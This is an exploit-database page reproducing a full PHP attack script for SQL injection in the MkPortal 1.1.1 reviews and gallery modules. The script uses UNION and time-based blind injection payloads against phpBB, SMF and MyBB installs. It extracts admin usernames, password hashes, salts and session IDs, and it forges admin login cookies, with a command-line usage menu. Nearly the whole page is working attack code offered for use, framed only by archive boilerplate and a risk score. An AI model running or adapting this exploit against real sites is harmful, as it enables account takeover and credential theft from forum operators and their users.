Lucene search
K

MkPortal <= 1.1.1 reviews / gallery modules SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

MkPortal version 1.1.1 SQL Injection Exploit, discovered by Colos

Code

                                                &#60;?php

/*
[i] MkPortal &#34;reviews&#34; and &#34;gallery&#34; modules SQL Injection Exploit
[i] Vulnerable versions: MkPortal &#60;= 1.1.1
[i] Bug discovered by: Coloss
[i] Exploit by: Coloss
[i] Date: 06.07.2007
[i] This is priv8 not for kids

[Notes]
At this time MkPortal 1.1.1 is the latest stable release
Currently implemented: phpbb, smf and mybb
*/


$exptime = 3600;
$stcnt = 300000;
$maxnull = 5;

$opts = getopt(&#34;u:U:P:f:m:d:o:&#34;);

$vars = array ( &#34;phpbb&#34;, &#34;1 UNION SELECT %s FROM phpbb_users WHERE user_id=2&#34;,
                &#34;phpbb_sid&#34;, &#34;1 UNION SELECT %s FROM phpbb_sessions WHERE session_user_id=2 ORDER BY descrizione DESC LIMIT 1&#34;,
                &#34;smf&#34;, &#34;1 UNION SELECT %s FROM smf_members WHERE ID_MEMBER=1&#34;,
                &#34;mybb&#34;, &#34;1 UNION SELECT %s FROM mybb_users WHERE uid=1&#34;,
);


print
&#34;[i] MkPortal \&#34;reviews\&#34; and \&#34;gallery\&#34; modules SQL Injection Exploit
[i] Vulnerable versions: MkPortal &#60;= 1.1.1
[i] Bug discovered by: Coloss
[i] Exploit by: Coloss
[i] Date: 06.07.2007
[i] This is priv8 not for kids\n\n&#34;;


if ($opts[u] == &#39;&#39;)
        die(help($argv[0]));

if (!strncmp($opts[u], &#34;http&#34;, 4))
        $url = $opts[u];
else
        $url = &#34;http://&#34;.$opts[u];

if ($opts[U])
        $user = $opts[U];
if ($opts[P])
        $pass = $opts[P];
if ($opts[f])
        $forum = $opts[f];
if ($opts[m])
        $met = $opts[m];
if ($opts[o])
        $file = $opts[o];
if ($opts[d])
        $dir = $opts[d];

$cookies = &#39;&#39;;
$delay = $min = $max = $mid = 0;
$fld1 = $fld2 = &#39;&#39;;

if (!$forum)
        die(&#34;[X] You haven&#39;t specified any forum type!\n&#34;);

echo &#34;[+] Target: $url [$forum]\n\n&#34;;

exploit();


function exploit_gallery ($f)
{
        global $cookies, $url, $fld1, $fld2;
        $sql = get_sql($f);
        $str = &#34;NULL,&#34;.$fld1.&#34;,&#34;.$fld2.&#34;,NULL,NULL&#34;;
        $req = sprintf($sql, $str);

        $u = $url.&#34;index.php?ind=gallery&op=edit_file&iden=&#34;.urlencode($req);
        $html = Send($u, NULL, $cookies);
        if (strstr($html, &#34;ERROR: Database error&#34;))
                die(&#34;[X] SQL Query Error.. probably wrong table prefix\n&#34;);
        else if (strstr($html, &#34;&#60;title&#62;Error&#60;/title&#62;&#34;))
                die(&#34;[X] This method failed. Try something else\n&#34;);

        $var1 = get_string($html,&#34;name=\&#34;titolo\&#34; value=\&#34;&#34;,&#34;\&#34;&#34;);
        $var2 = get_string($html,&#34;name=\&#34;descrizione\&#34; class=\&#34;bgselect\&#34;&#62;&#34;,&#34;&#60;&#34;);

        return ($var1.&#34; &#34;.$var2);
}

function get_delay ($cnt, $f, $u)
{
        global $url, $cookies, $fld1, $fld2, $met;

        $sql = get_sql($f);

        if (strstr($met, &#34;gallery&#34;))
                $str = &#34;NULL,&#34;.$fld1.&#34;,&#34;.$fld2.&#34;,NULL,NULL&#34;;
        else
                $str = $fld1;

        $inj = sprintf($sql, $str);

        if (strstr($inj, &#34;ORDER BY&#34;)) {
                list($base, $order) = explode(&#34;ORDER BY&#34;, $inj);
                $inj = $base.&#34;AND IF(ORD(LOWER(SUBSTR(%s,%d,1)))%s,1,BENCHMARK(%d,MD5(31337))) ORDER BY&#34;. $order;
        }
        else
                $inj .= &#34; AND IF(ORD(SUBSTR(%s,%d,1))%s,1,BENCHMARK(%d,MD5(31337)))&#34;;

        $req = sprintf($inj, $fld1, 1, &#34;=1&#34;, $cnt);
        $u .= urlencode($req);

        $start = getmicrotime();
        Send($u, NULL, $cookies);
        $end = getmicrotime();

        $delay = intval(10 * ($end - $start));
        return $delay;
}

function get_normaldelay ($f, $u)
{
        global $stcnt;

        $na = get_delay(1,$f,$u);
        $da = get_delay($stcnt,$f,$u);
        $nb = get_delay(1,$f,$u);
        $db = get_delay($stcnt,$f,$u);
        $nc = get_delay(1,$f,$u);
        $dc = get_delay($stcnt,$f,$u);

        $mean_delayed = intval(($da + $db + $dc) / 3);
        if ($mean_delayed &#60; 2)
                die(&#34;Failed. The Answer was too rapid, probably you have not enough privileges\n&#34;);
        return $mean_delayed;
}

function exploit_blind ($sql, $u, $field)
{
        global $cookies, $stcnt, $delay, $min, $max, $mid;

        $cnt = $stcnt * 4;

        echo &#34;[-&#62;] Trying to find value for &#39;&#34;.$field.&#34;&#39;\n&#34;;

        for ($i = 1; $i &#60; 51; $i++) {
                for ($j = $min; $j &#60;= $max; $j++) {
                        if ($j == $mid)
                                $j = 97;
                        $req = sprintf($sql, $field, $i, &#34;=$j&#34;, $cnt);
                        $ur = $u.urlencode($req);
                        $start = getmicrotime();
                        Send($ur, NULL, $cookies);
                        $end = getmicrotime();

                        $dtime = intval(10 * ($end - $start));
                        if ($dtime &#62; ($delay * 2)) {
                                $out .= chr($j);
                                echo &#34;[+] Current value for &#39;&#34;.$field.&#34;&#39; (&#34;.$i.&#34;): &#34;.$out.&#34;\n&#34;;
                                break;
                        }
                        if ($j == $max)
                                $i = 41;
                }
        }
        if ($out)
                echo &#34;\n[-&#62;] Found value for &#39;&#34;.$field.&#34;&#39;: &#34;.$out.&#34;\n\n&#34;;
        return $out;
}


function exploit_gallery_blind ($f)
{
        global $fld1, $fld2, $url;

        $str = &#34;NULL,&#34;.$fld1.&#34;,&#34;.$fld2.&#34;,NULL,NULL&#34;;
        $sql = get_sql($f);
        $inj = sprintf($sql, $str);

        $u = $url.&#34;index.php?ind=gallery&op=edit_file&iden=&#34;;

        $var1 = exploit_init_blind($f, $u, $inj, $fld1);
        $var2 = exploit_init_blind($f, $u, $inj, $fld2);

        return ($var1.&#34; &#34;.$var2);
}

function exploit_reviews ($f)
{
        global $fld1, $fld2, $url;

        $u = $url.&#34;index.php?ind=reviews&op=update_file&iden=&#34;;
        $sql = get_sql($f);

        $inj = sprintf($sql, $fld1);
        $var1 = exploit_init_blind($f, $u, $inj, $fld1);

        $inj = sprintf($sql, $fld2);
        $var2 = exploit_init_blind($f, $u, $inj, $fld2);

        return ($var1.&#34; &#34;.$var2);
}

function exploit_init_blind ($f, $u, $inj, $field)
{
        global $cookies, $delay, $fld1, $fld2, $mid;

        if (strstr($inj, &#34;ORDER BY&#34;)) {
                list($base, $order) = explode(&#34;ORDER BY&#34;, $inj);
                if ($mid == 58)
                        $inj = $base.&#34;AND IF(ORD(LOWER(SUBSTR(%s,%d,1)))%s,BENCHMARK(%d,MD5(31337)),1) ORDER BY&#34;. $order;
                else
                        $inj = $base.&#34;AND IF(ORD(SUBSTR(%s,%d,1))%s,BENCHMARK(%d,MD5(31337)),1) ORDER BY&#34;. $order;
        }
        else {
                if ($mid == 58)
                        $inj .= &#34; AND IF(ORD(LOWER(SUBSTR(%s,%d,1)))%s,BENCHMARK(%d,MD5(31337)),1)&#34;;
                else
                        $inj .= &#34; AND IF(ORD(SUBSTR(%s,%d,1))%s,BENCHMARK(%d,MD5(31337)),1)&#34;;
        }

        echo &#34;[-&#62;] Starting blind sql injection!\n&#34;;

        echo &#34;[+] Getting standard response delay... &#34;;
        $delay = get_normaldelay($f,$u);
        echo $delay.&#34;ds\n\n&#34;;

        $var = exploit_blind($inj, $u, $field);
        if (strstr($f, &#34;sid&#34;) && !$var)
                die(&#34;[X] Probably there are more sid in the table.. so we cannot fetch it.. retry later.\n&#34;);

        return $var;
}

function get_data ($f)
{
        global $met;

        switch ($met) {
                case &#39;reviews&#39;:
                        $res = exploit_reviews($f); break;
                case &#39;gallery-blind&#39;:
                        $res = exploit_gallery_blind($f); break;
                case &#39;gallery&#39;:
                        $res = exploit_gallery($f); break;
                default:
                        die(&#34;[X] Invalid exploit method specified\n&#34;);
        }
        return $res;
}

function phpbb_exploit ()
{
        global $dir, $url, $user, $pass, $cookies, $forum, $exptime, $fld1, $fld2, $min, $max, $mid;

        if ($user && $pass) {
                echo &#34;[+] Logging in... &#34;;

                $u = $url.$dir.&#34;login.php?login=true&#34;;
                $post = &#34;username=&#34;.$user.&#34;&password=&#34;.$pass.&#34;&redirec=portalhome&submit=Login&#34;;

                $html = Send($u, $post, NULL, TRUE);

                $lines = explode(&#34;\n&#34;, $html);

                foreach($lines as $line) {
                        if (strstr($line, &#34;Set-Cookie&#34;) && strstr($line, &#34;sid&#34;)) {
                                $cookies = get_string($line, &#34;Set-Cookie: &#34;, &#34;;&#34;);
                                $c++;
                        }
                }
                if (!$cookies || $c &#60; 2)
                        die(&#34;Failed\n&#34;);
                echo &#34;Successfull\n\n&#34;;
        }

        $fld1 = &#34;username&#34;; $fld2 = &#34;user_password&#34;;
        $min = 48; $max = 122; $mid = 58;

        $res = get_data($forum);
        list($auesr, $apwd) = explode(&#34; &#34;, $res);
        if ($auser && strlen($apwd) == 32) {
                owrite(&#34;\n[+] Target: $url [$forum]\n&#34;);
                owrite(&#34;[-&#62;] Found admin username: &#39;&#34;.$auser.&#34;&#39;\n&#34;);
                owrite(&#34;[-&#62;] Found admin hash password: &#39;&#34;.$apwd.&#34;&#39;\n&#34;);
        }
        else
                die(&#34;[X] Failed to retrive informations\n&#34;);

        $fld1 = &#34;session_id&#34;; $fld2 = &#34;session_time&#34;;
        $max = 102;

        $res = get_data($forum.&#34;_sid&#34;);
        list($sid,$start) = explode(&#34; &#34;, $res);
        if ($sid && strlen($sid) == 32) {
                $t = (int) (time() - $start - $exptime);
                if ($t &#62;= 0)
                        echo &#34;[!] Found admin sid (&#39;&#34;.$sid.&#34;&#39;) but it should not be valid anymore\n&#34;;
                else
                        owrite(&#34;[-&#62;] Found admin sid: &#39;&#34;.$sid.&#34;&#39; valid for ~&#34;.abs($t).&#34;s\n&#34;);
        }
        else
                echo &#34;[!] No admin sid was found\n&#34;;
}

function smf_exploit ()
{
        global $user, $pass, $url, $dir, $cookies, $forum, $fld1, $fld2, $min, $max;

        $base = &#39;a:4:{i:0;s:1:&#34;1&#34;;i:1;s:40:&#34;%s&#34;;i:2;i:1184000000;i:3;i:0;}&#39;;

        if ($user && $pass) {
                echo &#34;[+] Logging in... &#34;;

                $u = $url.$dir.&#34;index.php?action=login2&#34;;
                $post = &#34;user=&#34;.$user.&#34;&passwrd=&#34;.$pass.&#34;&cookieneverexp=on&submit=Login&#34;;
                $html = Send($u, $post, NULL, TRUE);

                $lines = explode(&#34;\n&#34;, $html);
                foreach($lines as $line) {
                        if (strstr($line, &#34;Set-Cookie&#34;) && !strstr($line, &#34;PHPSESSID&#34;))
                                $cookies = get_string($line, &#34;Set-Cookie: &#34;, &#34;;&#34;);
                }
                if (!$cookies)
                        die(&#34;Failed\n&#34;);
                echo &#34;Successfull\n\n&#34;;
        }

        $fld1 = &#34;passwd&#34;; $fld2 = &#34;passwordSalt&#34;;
        $min = 48; $max = 102; $mid = 58;

        $res = get_data($forum);
        list($pwd,$salt) = explode(&#34; &#34;, $res);
        if ($pwd && strlen($pwd) == 40 && strlen($salt) == 4) {
                $pass = $pwd.$salt;
                $pass = sha1($pass);
                $cookie = sprintf($base, $pass);
                list($cname) = explode(&#34;=&#34;, $cookies);
                owrite(&#34;\n[+] Target: $url [$forum]\n&#34;);
                owrite(&#34;[+] Found admin cookie &#39;&#34;.$cname.&#34;&#39;: &#39;&#34;.urlencode($cookie).&#34;&#39;\n&#34;);
        }
        else
                die(&#34;[X] Failed to retrive informations\n&#34;);
}

function mybb_exploit ()
{
        global $user, $pass, $url, $dir, $cookies, $forum, $fld1, $fld2, $min, $max, $mid;

        if ($user && $pass) {
                echo &#34;[+] Logging in... &#34;;

                $u = $url.$dir.&#34;member.php&#34;;
                $post = &#34;username=&#34;.$user.&#34;&password=&#34;.$pass.&#34;&action=do_login&submit=Login&#34;;
                $html = Send($u, $post, NULL, TRUE);

                $lines = explode(&#34;\n&#34;, $html);
                foreach($lines as $line) {
                        if (strstr($line, &#34;Set-Cookie&#34;) && !strstr($line, &#34;PHPSESSID&#34;) && !strstr($line, &#34;[last&#34;) && !strstr($line,  
&#34; sid=&#34;)) {
                                $cookies = get_string($line, &#34;Set-Cookie: &#34;, &#34;;&#34;);
                        }
                }
                if (!$cookies)
                        die(&#34;Failed\n&#34;);
                echo &#34;Successfull\n\n&#34;;
        }

        $fld1 = &#34;loginkey&#34;; $fld2 = &#34;username&#34;;
        $min = 48; $max = 122; $mid = 91;

        $res = get_data($forum);
        list($key,$auser) = explode(&#34; &#34;, $res);
        if ($key && strlen($key) == 50) {
                $cookie = sprintf($base, $pass);
                list($cname) = explode(&#34;=&#34;, $cookies);
                owrite(&#34;\n[+] Target: $url [$forum]\n&#34;);
                owrite(&#34;[+] Found admin cookie &#39;&#34;.$cname.&#34;&#39;: &#39;1_&#34;.$key.&#34;&#39;\n&#34;);
        }
        else
                die(&#34;[X] Failed to retrive informations\n&#34;);

        $fld1 = &#34;password&#34;; $fld2 = &#34;salt&#34;;

        $res = get_data($forum);
        list($apwd,$salt) = explode(&#34; &#34;, $res);
        if ($apwd && strlen($apwd) == 32 && $salt && strlen($salt) == 8) {
                owrite(&#34;[+] Found admin hash password: &#39;&#34;.$apwd.&#34;&#39;\n&#34;);
                owrite(&#34;[+] Found admin password salt: &#39;&#34;.$salt.&#34;&#39;\n&#34;);
        }
        else
                echo &#34;[!] No admin sid was found\n&#34;;
}

function exploit ()
{
        global $forum;

        switch ($forum) {
                case &#39;phpbb&#39;:
                        phpbb_exploit(); break;
                case &#39;smf&#39;:
                        smf_exploit(); break;
                case &#39;mybb&#39;:
                        mybb_exploit(); break;
                default:
                        die(&#34;Failed. Cannot handle this type of forum\n&#34;);
        }
}

function get_string ($str, $start, $end)
{
        $res = substr($str, strpos($str, $start)+strlen($start),strpos(substr($str, strpos($str, 
$start)+strlen($start),strlen($str)), $end));
        return $res;
}

function get_sql ($var)
{
        global $vars;

        for ($i = 0, $j = 1; $vars[$i]; $i++, $j++) {
                if ($vars[$i] == $var)
                        return $vars[$j];
        }
}

function getmicrotime()
{
        list($usec, $sec) = explode(&#34; &#34;, microtime());
        return ((float)$usec + (float)$sec);
}

function Send($url, $post_fields=&#39;&#39;, $cookie = &#39;&#39;, $headers = FALSE)
{
        $ch = curl_init();
        $timeout = 120;

        curl_setopt ($ch, CURLOPT_URL, $url);
        curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);

        if ($post_fields) {
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
        }

        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
        curl_setopt($ch, CURLOPT_USERAGENT, &#39;Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)&#39;);

        if(!empty($cookie))
                curl_setopt ($ch, CURLOPT_COOKIE, $cookie);

        if($headers === TRUE)
                curl_setopt ($ch, CURLOPT_HEADER, TRUE);
        else
                curl_setopt ($ch, CURLOPT_HEADER, FALSE);

        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);

        $fc = curl_exec($ch);
        curl_close($ch);

        return $fc;
}

function owrite ($msg)
{
        global $file, $debug;

        echo $msg;

        if ($file) {
                if (!($h = fopen($file, &#39;ab&#39;)) && $debug) {
                        echo &#34;[X] Cannot open &#39;$file&#39;\n&#34;;
                        return;
                }
                if (fwrite($h, $msg) === FALSE && $debug)
                        echo &#34;[X] Cannot write to &#39;$file&#39;\n&#34;;
                fclose($h);
        }
}

function help ($prog)
{
        print &#34;[-] Usage: $prog
         -u  &#60;url&#62;      -&#62; Sets Target url
        [-U] &#60;user&#62;     -&#62; Your username
        [-P] &#60;hash&#62;     -&#62; Your password
        [-f] &#60;type&#62;     -&#62; Sets Forum type (phpbb, smf or mybb)
        [-m] &#60;method&#62;   -&#62; Which method do you want to use (gallery or reviews)
        [-d] &#60;dir&#62;      -&#62; Sets forum subdirectory
        [-o] &#60;file&#62;     -&#62; Writes results to a file\n&#34;;
}

?&#62;

# milw0rm.com [2007-07-12]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
21